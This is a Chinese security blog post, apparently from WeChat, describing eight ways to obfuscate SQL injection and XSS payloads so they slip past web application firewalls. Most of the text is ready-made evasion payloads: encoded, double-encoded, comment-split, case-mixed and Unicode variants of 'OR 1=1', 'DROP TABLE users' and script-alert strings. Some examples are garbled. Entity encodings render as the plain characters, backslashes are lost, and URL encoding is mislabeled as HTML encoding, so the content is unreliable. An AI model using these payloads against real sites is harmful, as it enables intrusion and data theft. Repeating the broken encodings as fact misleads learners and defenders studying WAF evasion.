摘要
Payload混淆技术是一种用来绕过Web应用防火墙(WAF)检测的方法。WAF的主要功能是通过分析HTTP请求和响应中的内容来检测和阻止恶意流量,比如SQL注入、跨站脚本(XSS)攻击等。Payload混淆技术的原理是通过修改攻击载荷(payload)的外观,使其难以被WAF正确识别,但在目标应用处理时依然能够被正常执行。
HTML编码混淆技术
HTML编码是一种将特殊字符转换为其HTML实体表示的方法。HTML实体是一种以字符名称或字符代码表示的字符,使得这些字符可以安全地嵌入HTML文档中,而不会被解析为HTML标签或其他HTML特殊字符。
常见的HTML编码如下:
-
&
变为&
-
<
变为<
-
>
变为>
-
"
变为"
-
'
变为'
或'
-
/
变为/
使用HTML编码进行Payload混淆的主要原理是,通过将攻击载荷中的特殊字符转换为其HTML实体形式,使得WAF难以准确解析和检测到这些字符。尽管这些编码形式在浏览器解析时会恢复为原始字符,但在经过WAF时,由于编码后的形式与实际字符不同,WAF可能无法正确识别和阻止这些载荷。
示例1: XSS攻击
例如: <script>alert(1)</script>
可以使用HTML编码来混淆XSS Payload, 混淆后的HTML编码如下:
<script>alert(1)</script>
此编码将特殊字符替换为HTML 实体等效项,从而使安全过滤器更难识别其特征。
示例2:SQL注入
一个SQL注入攻击载荷是:SELECT * FROM users WHERE username='admin' OR 1=1 --'
。如果使用HTML编码进行混淆,可以将其编码为:
`SELECT%20*%20FROM%20users%20WHERE%20username%3D%27admin%27%20OR%201%3D1%20--%27'`
这种情况下,虽然数据库在接收到查询时会将其解析为原始SQL语句,但WAF可能会因为编码形式不同而无法正确识别和阻止。
URL编码混淆技术
URL编码(也称为百分号编码)是一种将数据转换为可以在URL中安全传输的格式的方法。由于URL只能包含某些字符,因此URL编码用于将不安全的字符转换为允许的ASCII字符。
-
普通字符:字母 (
A-Z
,a-z
)、数字 (0-9
) 和某些特殊字符(如-
,_
,.
和~
)可以直接在URL中使用,不需要编码。
-
特殊字符:其他字符(包括空格、引号、换行符等)需要编码。编码方式是将字符转换为其对应的ASCII值,然后以百分号 (
%
) 加上两位十六进制数字表示。例如,空格编码为%20
,引号编码为%22
。
常见的URL编码示例:
-
空格 (
) 编码为
%20
-
引号 (
"
) 编码为%22
-
斜杠 (
/
) 编码为%2F
-
加号 (
+
) 编码为%2B
黑客通常使用 URL 编码和十六进制编码等方法对其有效payload进行编码。一旦有效载荷到达目标,就会对其进行解码以执行攻击。例如,'; DROP TABLE users; --
可以将简单的 SQL 注入有效payload编码为其十六进制表示形式,然后由服务器端对其进行解码:
%27%3B%20%44%52%4F%50%20%54%41%42%4C%45%20%75%73%65%72%73%3B%20%2D%2D
双重URL编码混淆技术
双重URL编码(Double URL Encoding)是一种更复杂的编码技术,其中对字符进行了两次URL编码。这种技术常用于绕过某些Web应用防火墙(WAF)或其他安全机制,因为两次编码后的字符串更难以被识别和解析。
首先,回顾一下单次URL编码。URL编码是将特殊字符转换为其ASCII值的十六进制表示,并在前面加上百分号 (%
) 。例如:
-
空格 (
) 编码为
%20
-
<
编码为:%3C
-
>
编码为:%3E
双重URL编码则是对已经进行了一次URL编码的字符串,再进行一次URL编码。具体步骤如下:
1.第一次URL编码: <
变为: %3C
2.第二次URL编码: %
变为:%25
, 因此%3C
变成了:%253C
最终,字符<
经过双重URL编码后变为: %253C
。
双重URL编码可以用来绕过一些WAF,因为双重编码后的payload更难被识别为攻击。以下是一些示例:
示例1: XSS攻击
一个简单的XSS攻击payload是 <script>alert('XSS')</script>
。使用双重URL编码可以将其混淆为:
1.第一次URL编码: <script>alert('XSS')</script>
变为:%3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E
2.第二次URL编码: %3Cscript%3Ealert%28%27XSS%27%29%3C%2Fscript%3E
变为: %253Cscript%253Ealert%2528%2527XSS%2527%2529%253C%252Fscript%253E
最终的payload内容为: %253Cscript%253Ealert%2528%2527XSS%2527%2529%253C%252Fscript%253E
示例2:SQL注入
一个SQL注入攻击payload是:SELECT * FROM users WHERE username='admin' OR 1=1 --'
。使用双重URL编码可以将其混淆为:
1.第一次URL编码: SELECT * FROM users WHERE username='admin' OR 1=1 --'
变成了: SELECT%20*%20FROM%20users%20WHERE%20username%3D%27admin%27%20OR%201%3D1%20--%2
2.第二次URL编码: SELECT%20*%20FROM%20users%20WHERE%20username%3D%27admin%27%20OR%201%3D1%20--%27
变成了:
SELECT%2520*%2520FROM%2520users%2520WHERE%2520username%253D%2527admin%2527%2520OR%25201%253D1%2520--%2527
最终的Payload为: SELECT%2520*%2520FROM%2520users%2520WHERE%2520username%253D%2527admin%2527%2520OR%25201%253D1%2520--%2527
字符替换或添加注释混淆技术
在使用字符替换或添加注释进行Payload混淆时,攻击者通过在原始攻击载荷中插入无害字符或注释符号来扰乱WAF的解析规则,从而绕过防护。
一、字符替换
字符替换技术通过用等价字符或字符串来替换原始载荷中的某些部分,使得WAF难以匹配到已知的攻击模式。
示例1: SQL注入
原始SQL注入Payload如下:
SELECT * FROM users WHERE username='admin' OR 1=1 --'
使用字符替换技术,可以将关键字替换为等价表达方式:
SELECT * FROM users WHERE username='admin' OR '1'='1' --'
进一步替换为:
SELEC/**/T * FR/**/OM users WHERE user/**/name='admin' OR '1'='1' --'
在这个示例中,SELECT
被替换为 SELEC/**/T
,FROM
被替换为 FR/**/OM
,这样使得WAF更难识别这些关键字。
示例2:XSS攻击
原始XSS攻击Payload如下:
<script>alert('XSS')</script>
使用字符替换技术,可以将标签和函数拆分:
<scri"+"pt>alert('XSS')</scr"+"ipt>
或:
<scri<!--comment-->pt>alert('XSS')</scri<!--comment-->pt>
二、添加注释
通过在载荷中插入注释符号,进一步扰乱WAF的解析规则。注释符号可以用来分隔关键字,使WAF无法正确识别。
示例1:SQL注入
原始SQl注入Payload:
SELECT * FROM users WHERE username='admin' OR 1=1 --'
使用添加注释技术,可以在关键字之间添加SQL注释:
SELECT/*comment*/ * FROM/*comment*/ users WHERE/*comment*/ username='admin'/*comment*/ OR 1=1 --'
示例2:XSS攻击
原始XSS攻击Payload:
<script>alert('XSS')</script>
使用添加注释技术,可以在标签和内容之间添加HTML注释:
<script><!--comment-->alert('XSS')<!--comment--></script>
字符串连接混淆技术
字符串连接是一种常见的Payload混淆技术,通过将恶意字符串分割成多个部分,并使用不同的方式重新组合在一起,使得WAF难以检测到完整的攻击Payload。
示例1: SQL注入
原始SQL注入Payload:
SELECT * FROM users WHERE username='admin' OR 1=1 --'
使用字符串连接技术,可以将这个载荷分割并重新组合:
SELEC' + 'T * FR' + 'OM users WHERE user' + 'name='admin' OR 1=1 --'
或者使用SQL拼接函数(不同数据库有不同的字符串拼接方式):
SELECT * FROM users WHERE username='ad'||'min' OR 1=1 --'
SELECT * FROM users WHERE username=CONCAT('ad','min') OR 1=1 --'
示例2: XSS攻击
原始XSS攻击Payload:
<script>alert('XSS')</script>
使用字符串连接技术,可以将这段载荷分割并重新组合:
<scr'+'ipt>alert('XSS')</scr'+'ipt>
或者使用JavaScript的字符串拼接:
<scri' + 'pt>alert("XSS")</scri' + 'pt>
大小写转换混淆技术
该技术是一种通过改变关键字或标识符的大小写来混淆Payload的技术。许多编程语言和数据库查询语言(如SQL)对关键字大小写不敏感(即大小写不敏感),因此攻击者可以利用这种特性改变载荷中的大小写,从而绕过Web应用防火墙(WAF)的检测。
示例1:SQL注入
原始SQL注入Payload:
SELECT * FROM users WHERE username='admin' OR 1=1 --'
使用大小写转换技术, 可以将关键字大小写变换:
SeLeCt * FrOm users WhErE username='admin' Or 1=1 --'
进一步变换:
sEleCt * frOM users wHErE username='admin' OR 1=1 --'
示例2: XSS攻击
原始XSS攻击Payload:
<script>alert('XSS')</script>
经过大小写转换,可以将标签和函数名大小写变换:
<ScRiPt>alert('XSS')</ScRiPt>
进一步变换:
<ScRiPt>aLeRt('XSS')</ScRiPt>
转义字符混淆技术
使用转义字符(Escape Characters)是一种常见的Payload混淆技术,通过在特殊字符前添加转义符号,使得这些字符在解析时具有不同的含义,从而绕过Web应用防火墙(WAF)或其他安全机制的检测。
转义字符是用来表示某些特殊字符或控制字符的序列。通常,一个转义字符由一个反斜杠 () 开头,紧跟一个或多个字符。转义字符广泛应用于编程语言、数据库查询语言以及各种协议中。
转义字符的常见应用:
-
新行:
n
-
制表符:
t
-
反斜杠:
\
-
单引号:
'
-
双引号:
"
-
十六进制字符:
xhh
(其中hh
是十六进制数)
-
Unicode字符:
uhhhh
(其中hhhh
是Unicode码点的十六进制数)
通过在攻击Payload中插入转义字符,可以改变Payload的外观,使得WAF难以匹配已知的攻击模式。在解析和执行时,转义字符会恢复为原始字符,从而使得攻击Payload能够正常工作。
示例1: SQL注入
原始SQL注入Payload:
SELECT * FROM users WHERE username='admin' OR 1=1 --'
使用转义字符,可以在单引号前插入反斜杠:
SELECT * FROM users WHERE username='admin' OR 1=1 --'
或者使用双引号和反斜杠:
SELECT * FROM users WHERE username="admin" OR "1"="1" --"
示例2: XSS攻击
原始XSS攻击Payload:
<script>alert('XSS')</script>
使用转义字符,可以在双引号和单引号前插入反斜杠:
<script>alert('XSS')</script>
或者在HTML实体编码中使用反斜杠:
<script>alert('XSS')</script>
Unicode混淆技术
使用Unicode作为Payload混淆技术是一种通过将常见字符转换为其Unicode编码形式,使得WAF难以检测到恶意Payload的方法。Unicode编码可以用来表示几乎所有的字符,因此它在混淆攻击Payload时非常有效。
什么是Unicode?
Unicode是一种字符编码标准,它为所有的字符提供唯一的编号,可以表示世界上几乎所有的文字系统中的字符。常见的Unicode表示形式有:
-
UTF-8:一种变长编码,每个字符用1到4个字节表示。
-
UTF-16:一种变长编码,每个字符用2或4个字节表示。
-
UTF-32:一种固定长度编码,每个字符用4个字节表示。
通过将攻击载荷中的字符转换为Unicode编码形式,可以绕过WAF的检测。例如,常见的SQL关键字和HTML标签在转换为Unicode后,可能无法被简单的字符串匹配规则识别。
示例1: SQL注入
原始SQL注入Payload:
SELECT * FROM users WHERE username='admin' OR 1=1 --'
使用Unicode编码进行混淆,可以将关键字和符号转换为Unicode形式:
u0053u0045u004Cu0045u0043u0054 * u0046u0052u004Fu004D users u0057u0048u0045u0052u0045 username=u0027adminu0027 u004Fu0052 1=1 --u0027
或者使用十六进制表示形式:
x53x45x4Cx45x43x54 * x46x52x4Fx4D users x57x48x45x52x45 username=x27adminx27 x4Fx52 1=1 --x27
示例2: XSS攻击
原始XSS攻击Payload:
<script>alert('XSS')</script>
使用Unicode编码进行混淆,可以将标签和内容转换为Unicode形式:
u003Cscriptu003Ealert(u0027XSSu0027)u003C/scriptu003E
或者使用十六进制表示形式:
x3Cscriptx3Ealert(x27XSSx27)x3C/scriptx3E
点个在看你最好看
原文始发于微信公众号(二进制空间安全):八种绕过WAF防火墙的Payload混淆技术